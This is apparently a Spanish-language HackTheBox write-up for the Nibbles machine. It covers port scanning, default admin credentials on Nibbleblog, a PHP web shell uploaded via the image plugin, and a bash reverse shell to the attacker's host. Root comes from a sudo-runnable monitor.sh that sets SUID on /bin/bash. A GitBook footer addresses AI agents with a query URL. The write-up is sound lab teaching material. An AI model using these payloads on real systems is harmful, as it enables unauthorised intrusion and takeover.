> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/es/writeups-ctf/hackthebox/linux-easy/nibbles-hackthebox-writeup.md).

# Resolución de HackTheBox Nibbles

{% embed url="<https://app.hackthebox.com/machines/121>" %}

{% hint style="warning" %}
**Habilidades:**

* Abusando de Nibbleblog - Ejecución remota de código mediante carga de archivos
* Abusando del privilegio de sudoers (escalada de privilegios)
  {% endhint %}

## Reconocimiento

**Configuración del espacio de trabajo:**

Configura el espacio de trabajo creando tres carpetas para almacenar contenido importante, exploits y resultados de reconocimiento de Nmap.

<figure><img src="/files/eb8921b2889e5103526f7437ca7de0a096befd45" alt="" width="563"><figcaption></figcaption></figure>

**Comprobación de conectividad VPN**

Comprueba la conectividad VPN para asegurar una comunicación estable con la máquina objetivo.

<figure><img src="/files/5719532783d16b871efa8e04113b4cebe3024f0c" alt="" width="563"><figcaption></figcaption></figure>

**Descubrimiento de puertos abiertos con Nmap:**

Enumera los puertos abiertos y exporta los resultados al archivo "allPorts" en el directorio de Nmap:

```bash
nmap -p- --open -sS -n -Pn -vvv --min-rate 5000 10.10.10.75 -oG allPorts
```

<figure><img src="/files/1ba967f187e6f3e8d0a52b5b0844fac7a312c338" alt=""><figcaption></figcaption></figure>

**Análisis de puertos abiertos con extractPorts:**

Usa la función extractPorts para mostrar los puertos abiertos en un formato conciso y copiarlos al portapapeles (22.80)

<figure><img src="/files/ae114488176c894fe6c9c448a8c166e626695dd1" alt="" width="563"><figcaption></figcaption></figure>

Escaneo de versiones de puertos con Nmap:

Usa Nmap para escanear las versiones de los servicios y guardar la salida en el archivo "targeted":

```bash
nmap -sCV -p22,80 10.10.10.75 -oN targeted
```

<figure><img src="/files/84c7b2a4e88b1f450196bddd79324218bf9d3488" alt=""><figcaption></figcaption></figure>

### Puerto 80 - HTTP

<figure><img src="/files/e5a3ca90521e8a3cf351eb566cf49b85bcb1b91f" alt=""><figcaption></figcaption></figure>

Al inspeccionar el código fuente de la página web, notamos la presencia de una `/nibbleblog` directorio.

<figure><img src="/files/e338c27a2f899a9d6ec5129a4d36eed674f2f4fd" alt=""><figcaption></figcaption></figure>

### Blog de Nibbles - CMS

<figure><img src="/files/b98cf4ad3d93f63d516208474bcd5115ab61eccf" alt=""><figcaption></figcaption></figure>

El sitio parece ser un CMS llamado Nibbleblog. Usaremos `gobuster` para buscar directorios adicionales:

```bash
gobuster dir -u http://10.10.10.75/nibbleblog/ -w /usr/share/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 100
```

<figure><img src="/files/6eb545df5233bed2f69047c78ff9cd3f35ab815b" alt=""><figcaption></figcaption></figure>

#### Búsqueda de archivos PHP:

Al buscar archivos PHP encontramos un `admin.php` archivo que parece corresponder a un panel de administración.

<figure><img src="/files/c8a97cf5953d87756fc1e739f0ac414cb489dbf4" alt=""><figcaption></figcaption></figure>

#### Intentando iniciar sesión con credenciales:

Estamos intentando conectarnos con las siguientes credenciales:

* **Usuario**: admin
* **Contraseña**: nibbles

<figure><img src="/files/aaa6638d739ac89313d4f2a4ca26aa1e1a3ca168" alt=""><figcaption></figcaption></figure>

Funciona y accedemos a la interfaz de administración.

<figure><img src="/files/fa54be9d363a6128eae8e567f39a4bc4e326d862" alt=""><figcaption></figcaption></figure>

## Vulnerabilidad Nibbleblog - Carga de archivos

Descubrimos una funcionalidad que permite descargar imágenes:

<figure><img src="/files/fe2cb783bff50028fe47c113d7455c19b877d8e3" alt=""><figcaption></figcaption></figure>

Crearemos un `cmd.php` archivo con el siguiente código para permitir la ejecución de comandos

```bash
<?php
echo "<pre>" . shell_exec($_GET['cmd']) . "</pre>";
?>
```

El archivo se descargará en el `contenido` directorio, donde encontramos un `privado` subdirectorio que contiene complementos.

<figure><img src="/files/5e1cbdd61bbb6fbd2363ae977f28d4b44a3c13f2" alt=""><figcaption></figcaption></figure>

#### Ejecución de comandos mediante carga de archivos:

Gracias al `cmd` parámetro podemos ejecutar comandos. Por ejemplo, usamos la siguiente URL para obtener la información del ID del sistema:

<pre class="language-bash"><code class="lang-bash"><strong>/image.php?cmd=id
</strong></code></pre>

<figure><img src="/files/7255524842d234657fd53d75d0547880cf96e511" alt=""><figcaption></figcaption></figure>

Obtenemos acceso al servidor mediante una reverse shell. Escuchamos en nuestra máquina en el puerto 443:

```bash
nc -nlvp 443
```

Luego, ejecutamos la reverse shell en la máquina objetivo:

```bash
bash -c "bash -i >%26 /dev/tcp/10.10.14.7/443 0>%261"
```

<figure><img src="/files/fd0b5c94ae1c402e7f2a61808cfa3f4b366fc5bc" alt=""><figcaption></figcaption></figure>

#### Estabilización de terminal :

En la terminal, realizamos los siguientes pasos para estabilizar la sesión:

```bash
script /dev/null -c bash
# Ctrl+Z

stty raw -echo; fg
reset xterm
export TERM=xterm
export SHELL=bash
stty rows 44 columns 184
```

### Bandera user.txt :)

<figure><img src="/files/8f9f87d1aefea0236a3bd71a264d95f04a19edb7" alt=""><figcaption></figcaption></figure>

## Escalada de privilegios :

### Sudo - monitor.sh (no such file)

Descubrimos una vulnerabilidad relacionada con la ejecución de scripts con privilegios de sudo.

<figure><img src="/files/462731169d5070dce7bac4231a58dfca7cecbff1" alt=""><figcaption></figcaption></figure>

El `monitor.sh` el archivo parece no encontrarse en ninguna parte, pero podemos crear un script que se ejecutará como root. Comenzamos creando los directorios necesarios:

```bash
cd /home/nibbler
mkdir personal
cd !$
mkdir stuff
cd !$
```

Colocamos el `monitor.sh` archivo allí con el siguiente contenido:

```bash
chmod u+s /bin/bash
```

Luego ejecutamos el script con privilegios de sudo:

```bash
sudo /home/nibbler/personal/stuff/monitor.sh
```

Esto te permite modificar los permisos de `/bin/bash` añadiendo el bit SUID. Luego ejecutamos el siguiente comando para obtener una shell con privilegios de root:

```bash
bash -p
```

<figure><img src="/files/a29ec3921655a6165251a898dc4151b1e09e4e87" alt=""><figcaption></figcaption></figure>

### Bandera root.txt :)

<figure><img src="/files/78b6bc6642fd85a09d3a00344860c1f229416353" alt="" width="563"><figcaption></figcaption></figure>

<figure><img src="/files/add4a20c7b23e4e1be453c3a100fab9f0f93d363" alt="" width="525"><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/es/writeups-ctf/hackthebox/linux-easy/nibbles-hackthebox-writeup.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
